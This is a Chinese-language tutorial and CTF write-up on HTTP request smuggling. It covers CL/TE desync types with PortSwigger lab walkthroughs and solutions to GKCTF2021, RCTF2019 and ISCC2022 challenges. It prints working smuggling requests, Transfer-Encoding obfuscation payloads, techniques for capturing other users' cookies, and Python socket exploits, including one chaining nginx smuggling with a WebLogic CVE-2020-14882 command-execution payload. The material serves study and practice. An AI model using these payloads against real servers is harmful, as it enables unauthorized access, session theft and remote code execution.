協議層安全相關《http請求走私與CTF利用》

 0x00 前言

 最近刷題的時候多次遇到HTTP請求走私相關的題目,但之前都沒怎麼接觸到相關的知識點,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 請求走私漏洞),具體講就是通過nginx的走私漏洞訪問到Weblogic Console的登錄頁面,然後打Weblogic歷史漏洞讀取flag。當時做那道題的時候對走私漏洞沒有深入理解,今天打ISCC2022的時候又遇到了一道利用gunicorn<20.04請求走私漏洞繞waf的題目,因此好好學習一下還是很有必要的。

 0x01 發展時間線

 最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇關於HTTP Request Smuggling這一攻擊方式的報告。通過對整個RFC文檔的分析以及豐富的實例,證明了這一攻擊方式的危害性。

 https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

  2016年的DEFCON 24 上,@regilero在他的議題——Hiding Wookiees in HTTP中對前面報告中的攻擊方式進行了豐富和擴充。

 https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

 2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的議題——HTTP Desync Attacks: Smashing into the Cell Next Door中針對當前的網絡環境,展示了使用分塊編碼來進行攻擊的攻擊方式,擴展了攻擊面,並且提出了完整的一套檢測利用流程。

 0x02 什麼是請求走私

 當今的web架構中,單純的一對一客戶端---服務端結構已經逐漸過時。爲了更安全的處理客戶端發來的請求,服務端會被分爲兩部分:前端服務器與後端服務器。前端服務器(例如代理服務器)負責安全控制,只有被允許的請求才能轉發給後端服務器,而後端服務器無條件的相信前端服務器轉發過來的全部請求,並對每一個請求都進行響應。但是在這個過程中要保證前端服務器與後端服務器的請求邊界設定一致,如果前後端服務器對請求包處理出現差異,那麼就可能導致攻擊者通過發送一個精心構造的http請求包,繞過前端服務器的安全策略直接抵達後端服務器訪問到原本禁止訪問的服務或接口,這就是http請求走私。

 聽起來是不是有點像SSRF?不過SSRF與HTTP請求走私是有差別的,SSRF是直接利用內網機器來訪問內網資源,但請求走私不是。用一張portswigger報告中經典的圖來理解一下,有一種夾帶私貨的感覺,或許這就是被稱爲走私漏洞的原因吧:

HTTP request smuggling(http請求走私)3331.png

 
 0x03 漏洞成因與常見類型

 

 http請求走私攻擊比較特殊,它不像常規的web漏洞那樣直觀。它更多的是在複雜網絡環境下,不同的服務器對RFC標準實現的方式不同,程度不同。因此,對同一個HTTP請求,不同的服務器可能會產生不同的處理結果,這樣就產生了安全風險。

 在學習之前我們先了解一下HTTP1.1中使用最爲廣泛的兩種特性:Keep-Alive&Pipeline

 Keep-Alive&Pipeline

 所謂Keep-Alive,就是在HTTP請求中增加一個特殊的請求頭Connection: Keep-Alive,告訴服務器,接收完這次HTTP請求後,不要關閉TCP鏈接,後面對相同目標服務器的HTTP請求,重用這一個TCP鏈接,這樣只需要進行一次TCP握手的過程,可以減少服務器的開銷,節約資源,還能加快訪問速度。當然,這個特性在HTTP1.1中是默認開啓的。

 有了Keep-Alive之後,後續就有了Pipeline,在這裏呢,客戶端可以像流水線一樣發送自己的HTTP請求,而不需要等待服務器的響應,服務器那邊接收到請求後,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端。

 如今,瀏覽器默認是不啓用Pipeline的,但是一般的服務器都提供了對Pipleline的支持。

 CL&TE

 CL 和 TE 即是 Content-Length  Transfer-Encoding 請求頭(嚴格來講前者是個實體頭,爲了方便就都用請求頭代指)。這裏比較有趣的是 Transfer-EncodingHTTP/2 中不再支持),指定用於傳輸請求主體的編碼方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定義在 Transfer-Encoding#Directives  rfc2616#section-3.6

 CL好理解,對於TE我們重點關注chunked。當我們設置TE爲chunked時,CL就會被省略。爲了區分chunk的邊界,我們需要在每個chunk前面用16進制數來表示當前chunk的長度,後面加上\r\n,再後面就是chunk的內容,然後再用\r\n來代表chunk的結束。最後用長度爲 0 的塊表示終止塊。終止塊後是一個 trailer,由 0 或多個實體頭組成,可以用來存放對數據的數字簽名等。譬如下面這個例子:

 POST / HTTP/1.1
 Host: example.com
 Content-Type: application/x-www-form-urlencoded
 Transfer-Encoding: chunked

 b  //chunk_size
 q=smuggling
 6
 hahaha
 0  //end
 [blank]
 [blank]

 另外要注意\r\n佔2字節,我們在計算長度的時候很容易把它們忽略。最後把請求包以字節流形式表述出來就是:

 POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

 

 常見走私類型

 1.CL不爲0

 如果前端代理服務器允許GET攜帶請求體,而後端服務器不允許GET攜帶請求體,後端服務器就會直接忽略掉GET請求中的Content-Length頭,這就有可能導致請求走私。

 例如我們構造出:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 43\r\n

 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n
 \r\n

 在前端服務器看來它是一個請求,但是在後端服務器來看它就是:

 //第一個請求
 GET / HTTP/1.1\r\n
 Host: example.com\r\n

 //第二個請求
 GET / admin HTTP/1.1\r\n
 Host: example.com\r\n

 2.CL CL

 在RFC7230的第3.3.3節中的第四條中,規定當服務器收到的請求中包含兩個Content-Length,而且兩者的值不同時,需要返回400錯誤。

 https://tools.ietf.org/html/rfc7230#section-3.3.3

 但是很明顯這並非是強制的,如果服務器不遵守安全規定在服務器收到多個CL不相同的請求時不返回400錯誤,那麼就可能會導致請求走私。

 我們假設前端服務器按照第一個CL處理而後端服務器按照第二個CL,構造出如下HTTP包:

 POST / HTTP/1.1\r\n
 Host: example.com\r\n
 Content-Length: 8\r\n
 Content-Length: 7\r\n

 12345\r\n
 a

 前端代理服務器收到的請求通過第一個CL判斷body爲8字節,隨後將包發送給後端源服務器;源服務器收到請求通過第二個CL判斷body爲7字節,這時候最後一個字節 b'a'就會被遺留在源服務器緩存器。由於前後端服務器一般是寵用TCP連接,假設此時正常用戶向服務器發送了正常的數據包,如下:

 GET / HTTP/1.1\r\n
 Host: example.com\r\n

 這時殘留在緩存中的一個字節就會被添加到這個正常的請求前端變成:

 aGET / HTTP/1.1\r\n
 Host: example.com\r\n

 導致了請求走私,正常數據包被篡改。

 但很明顯這種情況過於“巧合”應該很難遇見,存在兩個CL的包一般服務器都不會接受,在RFC2616的第4.4節中,規定:如果收到同時存在Content-LengthTransfer-Encoding這兩個請求頭的請求包時,在處理的時候必須忽略Content-Length,這就意味着我們可以在頭部同時包含這兩種請求頭,相比這下這種方式更現實一些。

 3.CL TE

 所謂CL TE就是前置服務器認爲 Content-Length 優先級更高(或者說根本就不支持 Transfer-Encoding  ,後端服務器認爲 Transfer-Encoding 優先級更高。

 我們可以構造出body中帶有字節 0的請求包,前端服務器通過CL判斷這是一個正常的數據包並轉發給後端,後端服務器使用TE就會把字節0後的數據滯留到緩衝區,並且與下一次的正常請求進行拼接,這裏用一下portswigger團隊的lab作爲實驗:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

 構造如下請求包:

 POST / HTTP/1.1\r\n
 Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n
 Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n
 Sec-Ch-Ua-Mobile: ?0\r\n
 Sec-Ch-Ua-Platform: "Windows"\r\n
 Upgrade-Insecure-Requests: 1\r\n
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
 Sec-Fetch-Site: none\r\n
 Sec-Fetch-Mode: navigate\r\n
 Sec-Fetch-User: ?1\r\n
 Sec-Fetch-Dest: document\r\n
 Accept-Encoding: gzip, deflate\r\n
 Accept-Language: zh-CN,zh;q=0.9\r\n
 Connection: close\r\n
 Content-Length: 10\r\n
 Transfer-Encoding:chunked\r\n
 \r\n
 0\r\n
 \r\n
 A\r\n
 \r\n

 連續發送幾次就會發現字母A被拼接到了下一請求中,導致了請求走私,當然也會報錯。

HTTP request smuggling(http請求走私)7447.png

 

 4.TE CL

 TE CL與CL TE正好相反,假如前端服務器處理TE請求頭,而後端服務器處理CL請求頭,我們同樣可以構造惡意數據包完成走私攻擊;依舊使用portswigger的lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

 我們構造出如下請求:

 POST / HTTP/1.1
 Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net
 Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding: chunked

 12
 WPOST / HTTP/1.1

 0

 多次發送後發現:

HTTP request smuggling(http請求走私)8637.png

 

 WPOST被拆分了出來,重點關注body部分

 \r\n
 12\r\n
 WPOST / HTTP/1.1\r\n
 \r\n
 0\r\n
 \r\n

 前端處理TE讀取到0\r\n\r\n之後就認爲讀取完畢發送給後端,而後端處理CL只讀取4字節\r\n12就認爲數據包結束,這時候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被認爲是另一個請求,因此發生了請求報錯。

 5.TE TE

 TE-TE:前置和後端服務器都支持 Transfer-Encoding,但通過混淆能讓它們在處理時產生分歧。

 lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header

 構造出如下請求包:

 POST / HTTP/1.1
 Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net
 Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG
 Cache-Control: max-age=0
 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
 Sec-Ch-Ua-Mobile: ?0
 Sec-Ch-Ua-Platform: "Windows"
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Site: cross-site
 Sec-Fetch-Mode: navigate
 Sec-Fetch-User: ?1
 Sec-Fetch-Dest: document
 Referer: https://portswigger.net/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 4
 Transfer-Encoding:chunked  //兩種TE造成混淆
 Transfer-Encoding:cow

 5c
 WPOST / HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 15

 x=1
 0

 多次發送後:

HTTP request smuggling(http請求走私)10117.png

 

 可以看到這裏我們採用了:

 Transfer-Encoding:chunked\r\n
 Transfer-Encoding:cow\r\n

 除了這種混淆方式,除了這些portswigger團隊還給出了其它可用於TE混淆的payload:

 Transfer-Encoding: xchunked
 Transfer-Encoding[空格]: chunked
 Transfer-Encoding: chunked
 Transfer-Encoding: x
 Transfer-Encoding:[tab]chunked
 [空格]Transfer-Encoding: chunked
 X: X[\n]Transfer-Encoding: chunked
 Transfer-Encoding
 : chunked

 0x04 走私攻擊應用實例

 1.使用CL TE走私獲取其他用戶的請求

 lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/

 打開頁面是blog,用戶可以在頁面發表評論,由於前後端服務器的請求頭處理差異導致我們可以利用CL TE獲取其它用戶的請求頭,譬如我們構造出如下請求:

 POST / HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 333
 Transfer-Encoding:chunked
 Content-Type: application/x-www-form-urlencoded

 0

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

 前端服務器使用CL驗證,獲取CL爲333後判定這是一個正常的請求併發送給後端,而後端服務器通過TE的結尾表標識0\r\n\r\n認爲前半部分是一個正常的請求,而後半部分:

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

 因爲Pipeline的存在被放置在了緩存區。如果這時另一個正常用戶也發來了一段評論,那麼這個請求會被拼接到滯留在緩存區的請求後面構成一個新的請求:

 POST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO
 Content-Length: 700
 Content-Type: application/x-www-form-urlencoded

 csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1
 Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net
 Cookie: session=ashAwdweas.......

 這時候我們就發現請求頭被拼接到了comment的後面然後被當作comment返回,這樣我們就可能通過獲取到其他用戶的Cookie。

 在lab中我們要不斷第二個CL的大小,調整至合適大小纔有可能正常泄露出來;我從700開始服務器報500,但不知道是哪裏出了問題響應一直超時:

HTTP request smuggling(http請求走私)12355.png

 

 不過原理還是很好理解,大家可以自己去試一試,有點玄學。

 2.泄露請求頭重寫請求實現未授權訪問

 前面我們提到,前端服務器的作用之一就是過濾外界用戶對於未授權接口的訪問,一般前端用戶收到一段請求後,會在包裏添加一些請求頭例如:

• 用戶的session等會話ID。

• XFF頭用於顯示用戶IP,當然一般不會是X-Forwarded-For因爲很容易被猜到。

• 用戶指紋信息、token等。

 如果我們能泄露這些前端服務器向後端服務器中繼發送的請求中的請求頭,那麼我們就可以僞造出前端服務器的請求包來完成對敏感接口的未授權訪問,實現一些惡意操作。

 那麼問題來了,我們如何能獲取到前端服務器發送到後端服務器的請求頭呢?其實不難想,如果服務器能對我們輸入的POST參數,即body部分響應輸出,然後我們構造一個普通的請求放在body後面,前端服務器接收到之後就會對我們添加的請求進行重寫,如果我們的指定Content-Length爲較大的值就會把前端服務器重寫時添加的重要字段給泄露出來拼接到body後面,隨後後端服務器會將其與響應一併返回。

 這麼講可能還是有些抽象,我們拿lab來舉例:

 https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/

 構造出如下請求包:

 POST / HTTP/1.1
 Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 77
 Transfer-Encoding:chunked

 0


 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

 多發送幾次我們會發現成功泄露出來XFF頭信息:

HTTP request smuggling(http請求走私)13449.png

 

 我們簡單捋一下過程便於理解,首先前端服務器通過CL判斷出這是一個完整的請求並轉發給後端服務器,後端服務器通過TE將0字節標識前的部分正常處理,後半部分也被看作是一次正常的請求但被滯留在緩存區,同時由於我們設置的CL是超過實際長度,緩存區就會等待下一次正常請求,也就是前端服務器發來的新請求截取其部分請求頭放在請求參數後面湊夠CL後一併返回。

 我們走私到後端服務器被滯留在緩存區的請求是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111

 後端服務器接收到新請求並拼接在search之後是:

 POST / HTTP/1.1
 Content-Length:70
 Connection:close

 search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......

 最後後端服務器就會將信息響應返回。

 3.其它應用

 除了這兩種還有一些利用方式:

• 反射型 XSS 組合拳

•  on-site 重定向變爲開放式重定向

• 緩存投毒

• 緩存欺騙

 這些@mengchen師傅在知道創宇404發的paper裏都有實驗講解,感興趣的可以去看一看。(paper鏈接在文末)

 0x05 CTF實戰利用

 GKCTF2021[hackme]

 

 這道題目首先是需要nosql注入爆出密碼,然後登陸獲得任意文件讀取功能,前半部分我們暫且忽略,我們重點關注後半部分。

 讀取nginx配置文件發現後端存在weblogic服務:

HTTP request smuggling(http請求走私)14116.png

 

 同時注意到nginx版本爲1.17.6,存在請求走私:

HTTP request smuggling(http請求走私)14147.png

 

 假如我們構造:

 GET /a HTTP/1.1
 Host: localhost
 Content-Length: 56
 GET /_hidden/index.html HTTP/1.1
 Host: notlocalhost

 那麼nginx會把這兩個請求都執行,這就會造成請求走私。可參考:https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81

 針對這道題目我們構造出如下請求包:

 GET /test HTTP/1.1
 Host: node4.buuoj.cn:27230
 Content-Length: 0
 Transfer-Encoding: chunked

 GET /console/login/LoginForm.jsp HTTP/1.1
 Host: weblogic

 響應包中包含了weblogic的版本信息:

 WebLogic Server Version: 12.2.1.4.0

 版本正好契合CVE-2020-14882,我們直接拿socket去打就可以拿到flag。

 最終exp

 //來源於https://www.lemonprefect.cn的博客
 import socket

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("node4.buuoj.cn", 26319))
 payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''
 sSocket.send(payload)
 sSocket.settimeout(2)
 response = sSocket.recv(2147483647)
 while len(response) > 0:
    print(response.decode())
    try:
        response = sSocket.recv(2147483647)
    except:
        break
 sSocket.close()

 

 RCTF2019[esay calc]

 常規繞waf

 首先查看源碼根據提示來到calc.php

HTTP request smuggling(http請求走私)16758.png

 

 代碼對特殊字符進行了一些過濾,注意到最後代碼執行,我們傳入:

 calc.php?num=;)phpinfo();//

 執行後發現:

HTTP request smuggling(http請求走私)16827.png

 

 明顯是有waf不合法請求,有一種做法是參數前面加空格使服務器無法解析繞waf,再用ascii轉碼讀文件:

 ? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

HTTP request smuggling(http請求走私)16950.png

 

 走私繞waf

 注意到只要能讓前端服務器報錯我們就能突破前端waf限制;所以事實上我們還可以利用走私攻擊繞waf,而且前面四種方式都是有效的,這裏舉兩個例子,剩下幾種大家可以自行嘗試:

 注意下面的請求中num前沒有空格了。

 CL CL

HTTP request smuggling(http請求走私)17070.png

 

 CL TE

HTTP request smuggling(http請求走私)17080.png

 

 

 ISCC2022[讓我康康!]

 分析與利用

  如果直接訪問flag會爆403:

HTTP request smuggling(http請求走私)17124.png

 

 我們通過相應包的頭部發現了gunicorn20.0,經查閱版本存在請求走私,具體可參考:

 https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/

 通過給出的POC我們編寫腳本成功實現請求走私,看到要求很明顯是需要獲取前端服務器請求頭的來源IP名稱來僞造本地訪問獲取flag:

HTTP request smuggling(http請求走私)17392.png

 

 那麼我的思路就是多次發送請求,並且設置前一個請求的CL爲超過實際請求體的較大數值;由於後端服務器設置Keep-Alive,所以它會誤認爲請求沒有發送完畢,會繼續等待;而這時候我們再給前端服務器發送一個請求,前端服務器就會把帶有來源IP頭部的http包發送給後端服務器,後端服務器接收足夠上一包內CL的時候就會把這個泄露敏感憑證的包一併返回給客戶端,從而造成了敏感信息泄露。

 其實思路與上面講到的應用實例2一樣,只不過gunicorn20.0的走私漏洞是由於默認Sec-Websocket-Key的配置導致後端服務器會以xxxxxxxx爲標識位,這就導致xxxxxxxx後面的部分會滯留在緩存區,可以認爲是一種變種的CL TE走私。

 我們可以通過burp直接構造請求,但是由於Content-Length需要我們自定義,比如第一個Content-Length僅僅是計算到第一個手動添加的POST請求,所以構造的時候要額外小心。

HTTP request smuggling(http請求走私)17808.png

 

HTTP request smuggling(http請求走私)17811.png

 

 當然我們直接寫腳本拿socket發更直觀。

 最終exp

 import socket

 secret_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 149\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxPOST / HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''

 final_payload=b'''POST / HTTP/1.1\r
 Host: 59.110.159.206:7020\r
 Content-Length: 152\r
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r
 Content-Type: application/x-www-form-urlencoded\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 secr3t_ip: 127.0.0.1\r
 Content-Length: 150\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=abc\r
 \r
 POST / HTTP/1.1\r
 Content-Length: 14\r
 Content-Type: application/x-www-form-urlencoded\r
 \r
 search=111\r
 \r
 '''
 test1 = b'''POST / HTTP/1.1\r
 Host: 127.0.0.1\r
 Content-Length: 67\r
 Sec-Websocket-Key1:x\r
 \r
 xxxxxxxxGET /fl4g HTTP/1.1\r
 Host:127.0.0.1\r
 Content-Length: 123\r
 \r
 GET / HTTP/1.1\r
 Host: 127.0.0.1\r
 \r
 '''
 test2=b'''POST / HTTP/1.1
 Host: 59.110.159.206:7020
 Content-Length: 10
 Content-Type: application/x-www-form-urlencoded

 search=123'''

 sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sSocket.connect(("59.110.159.206", 7020))


 def send(payload):
    print(payload)
    sSocket.send(payload)
    sSocket.settimeout(2)
    response = sSocket.recv(2147483647)
    while len(response) > 0:
        print(response.decode())
        try:
            response = sSocket.recv(2147483647)
        except:
            break
    sSocket.close()

 if __name__ == '__main__':
    send(final_payload)

HTTP request smuggling(http請求走私)19790.png

 

 0x06 Reference

 https://regilero.github.io/tag/Smuggling/

 https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

 https://paper.seebug.org/1048

 https://xz.aliyun.com/t/7501

 更多靶場實驗練習、網安學習資料,請點擊這裏>>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章